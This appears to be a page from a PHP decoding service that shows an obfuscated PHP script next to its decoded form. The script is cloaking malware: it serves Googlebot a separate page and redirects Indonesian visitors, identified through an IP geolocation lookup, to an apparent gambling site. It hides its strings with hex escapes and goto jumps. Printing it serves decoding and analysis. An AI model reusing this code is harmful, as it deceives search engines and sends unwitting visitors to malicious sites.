Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto iY71L; ryBZ5: profile_user(); goto bvsEK; iY71L: function profile_user() { $r..

Decoded Output download

<?php 
 goto iY71L; ryBZ5: profile_user(); goto bvsEK; iY71L: function profile_user() { $refererUrl = !empty($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; $useragent = $_SERVER["HTTP_USER_AGENT"]; $refererDomain = parse_url($refererUrl, PHP_URL_HOST); if (stripos($useragent, "Google-InspectionTool") !== false || stripos($useragent, "googlebot") !== false || stripos($useragent, "(compatible; Googlebot/2.1; +http://www.google.com/bot.html)") !== false) { include "index2.php"; die; } $visitor_ip = $_SERVER["REMOTE_ADDR"]; $api_url = "https://api.incolumitas.com/?q=" . $visitor_ip; $ch = curl_init($api_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); $data = json_decode($response, true); if (json_last_error() !== JSON_ERROR_NONE) { echo "JSON Decode error: " . json_last_error_msg(); die; } $language = isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? strtolower($_SERVER["HTTP_ACCEPT_LANGUAGE"]) : ''; if (isset($data["country_code"]) && $data["country_code"] === "ID" || isset($data["country"]) && $data["country"] === "Indonesia" || strpos($language, "id") !== false) { header("Location: https://aksescepat.xyz/timur99", true, 301); die; } include "index1.php"; die; } goto ryBZ5; bvsEK: ?>

Did this file decode correctly?

Original Code

<?php
 goto iY71L; ryBZ5: profile_user(); goto bvsEK; iY71L: function profile_user() { $refererUrl = !empty($_SERVER["\x48\124\124\120\x5f\x52\x45\106\105\x52\105\122"]) ? $_SERVER["\110\x54\x54\x50\x5f\x52\x45\106\x45\122\105\x52"] : ''; $useragent = $_SERVER["\110\124\124\x50\x5f\x55\x53\x45\122\137\x41\x47\105\116\124"]; $refererDomain = parse_url($refererUrl, PHP_URL_HOST); if (stripos($useragent, "\107\x6f\157\x67\x6c\145\x2d\111\156\x73\160\145\143\x74\x69\x6f\x6e\x54\x6f\157\x6c") !== false || stripos($useragent, "\147\x6f\157\x67\154\x65\142\x6f\x74") !== false || stripos($useragent, "\50\x63\x6f\x6d\160\x61\164\151\x62\x6c\145\73\40\107\x6f\x6f\x67\154\x65\x62\x6f\x74\57\x32\56\x31\73\40\53\150\x74\164\x70\x3a\57\57\x77\167\167\56\147\x6f\x6f\x67\154\x65\x2e\143\x6f\x6d\57\142\x6f\164\56\x68\164\155\x6c\x29") !== false) { include "\151\x6e\x64\x65\x78\62\x2e\160\150\x70"; die; } $visitor_ip = $_SERVER["\x52\x45\115\117\x54\x45\x5f\x41\x44\x44\122"]; $api_url = "\x68\x74\164\160\163\x3a\57\x2f\141\x70\x69\56\x69\x6e\143\x6f\154\x75\x6d\151\164\x61\163\x2e\143\x6f\x6d\x2f\77\161\x3d" . $visitor_ip; $ch = curl_init($api_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); $data = json_decode($response, true); if (json_last_error() !== JSON_ERROR_NONE) { echo "\112\x53\x4f\x4e\x20\x44\145\143\157\144\x65\x20\145\x72\x72\157\x72\x3a\40" . json_last_error_msg(); die; } $language = isset($_SERVER["\x48\124\124\120\137\101\x43\103\105\120\x54\137\x4c\101\x4e\107\x55\101\x47\x45"]) ? strtolower($_SERVER["\110\x54\124\x50\x5f\x41\x43\x43\x45\120\124\137\114\x41\116\x47\x55\x41\x47\x45"]) : ''; if (isset($data["\x63\157\x75\x6e\x74\162\x79\137\143\x6f\x64\x65"]) && $data["\x63\x6f\165\156\164\x72\x79\137\x63\157\x64\145"] === "\x49\x44" || isset($data["\x63\157\x75\x6e\164\162\x79"]) && $data["\x63\157\x75\x6e\x74\162\x79"] === "\x49\x6e\144\x6f\x6e\145\163\x69\x61" || strpos($language, "\151\x64") !== false) { header("\114\157\x63\x61\164\151\x6f\x6e\x3a\40\150\164\164\x70\x73\72\x2f\x2f\141\x6b\x73\x65\163\x63\x65\x70\x61\x74\56\170\x79\x7a\x2f\x74\x69\x6d\165\x72\71\71", true, 301); die; } include "\151\x6e\x64\145\170\x31\56\160\150\x70"; die; } goto ryBZ5; bvsEK: ?>

Function Calls

None

Variables

None

Stats

MD5 09809e0c50a29daf5399b580d1af1f03
Eval Count 0
Decode Time 85 ms